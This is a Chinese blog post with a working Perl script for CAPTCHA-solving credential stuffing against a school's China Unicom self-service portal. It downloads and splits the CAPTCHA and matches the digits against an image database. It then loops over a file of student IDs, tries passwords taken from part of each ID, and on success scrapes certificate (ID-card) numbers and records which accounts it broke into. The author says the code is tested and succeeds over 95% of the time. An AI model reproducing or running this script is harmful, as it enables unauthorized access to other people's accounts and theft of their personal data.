在下菜鸟,大神请飘过,学习了验证码的识别后打算实战下,以检验自己学的时候有效,就瞄向了学校的联通客服网站,验证码较为简单,没有弯曲,噪点,如下图。
经过处理后可将验证码切割为4个独立的部分,如下图:
,,,。
具体实现代码,此处不再赘述,请看我以前的日志,详细介绍文章,稍加修改即可,如果有问题可私信我或加qq(422835688)。
下面看我的详细代码,
use LWP::Simple;
use LWP::Useragent;
use Imager;
use List::Util qw(max min);
use Image::Seek qw(loaddb add_image query_id savedb);
use Image::Magick;
use HTML::TableExtract;
open XH ,"<xh.txt";#生成完毕的学校学生的学号。
while(<XH>)
{
chomp;
my $name=$_;
my $pass=substr($_,4,6);#此处密码可用字典。
#print $name." ".$pass."\n";测试
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36');
$ua->cookie_jar({});
my $res = $ua->get('http://172.xx.x.xx:8080/selfservice/common/web/verifycode.jsp');#此处是获得验证码图片(网址做了处理)
if($res->is_success){
open my$code_image,">yzm.jpg" or die "$!";
binmode($code_image);
print $code_image $res->content;
#close $code_image;测试
}
my $file="yzm.jpg";
#切割下载的验证码
for my $num (0..3){
my $image = new Image::Magick;
$image->Read($file);
my ($w, $h,) = $image->Get('width', 'height');
$w /= 4;
my $xxx = $w * $num;
$image->Quantize(colorspace=>'gray');
$image->Threshold(threshold=>'50%',channel=>'All');
$image->Crop(width=>$w, height=>$h, x=>$xxx, y=>0);
$image->Write('y.jpg');
$image = undef;
my $img = new Image::Magick;
$img->Read('y.jpg');
my (@px_x,@px_y);
for my $x(0..$w){
for my $y (0..$h){
my $px = $img -> GetPixel(x=>$x,y=>$y);
if($px == 0){
push @px_x,$x;
push @px_y,$y;
}
}
}
my ($xmax,$xmin,$ymax,$ymin) = (max(@px_x),min(@px_x),max(@px_y),min(@px_y));
my $xw = $xmax-$xmin + 2;
my $yh = $ymax-$ymin + 2;
$xmin -= 1;
$ymin -= 1;
$img->Crop(width=>$xw, height=>$yh, x=>$xmin, y=>$ymin);
my $out = $num.'yzm1.jpg';
$img->Write($out);
$img = undef;
}
#载入数据库判别数字
#数据库中的数据我是这样获得的,在图片中找到0-9的数字,分别切割,处理后存入imgdata.db数据库中
loaddb("imgdata.db");
$yzm="";
for my $num (0..3){
my $img = Imager->new();
my $file = $num.'yzm1.jpg';
$img->open(file => $file);
add_image($img,10);
#savedb("imgdata.db");测试
my @results = query_id(10);
$yzm=$yzm.$results[1]->[0];# 识别后的验证码,存放在变量$yzm中。
}
#print $yzm."\n";测试
#模拟post提交,登陆,此处提交获取的验证码。
#此后的代码,要根据具体的网站反馈信息作调整
$res = $ua->post(
'http://172.16.0.13:8080/selfservice/module/scgroup/web/login_judge.jsf',
[act=>'add',name=>"$name",password=>"$pass",verify=>"$yzm"],
);
if($res->content =~ /verfiyError/)
{
open ERROR ,">>error.txt";
print ERROR $name."\n";
}
if($res->content =~ /errorMsg/)
{
open MM,">>mm_error.txt";
print MM $name."\n";
}
#open FILE,">secc.html";
#print FILE $res->content;
if($res->content =~ /index_self.jsf?/){
my $response=$ua->get('http://172.xx.x.xx:8080/selfservice/module/chargecardself/web/chargecardself_charge.jsf');
open RES ,">res.html";
print RES $response->content;
open RES2,"<res.html";
while(<RES2>)
{
chomp;
my $line=$_;
if($line=~ /certificateNo">(0-9)+</)
{
print $1." ";
}
}
print $name." success\n";
open SUCC,">>success.txt";#将获取的密码村放入文档中。
print SUCC $name."\n";
}
}
代码都是亲自测试过可以使用的,如果有问题就是在写文章中疏忽所致,对于这种验证码的识别,成功率在95%以上。本人水平较低,大牛们勿喷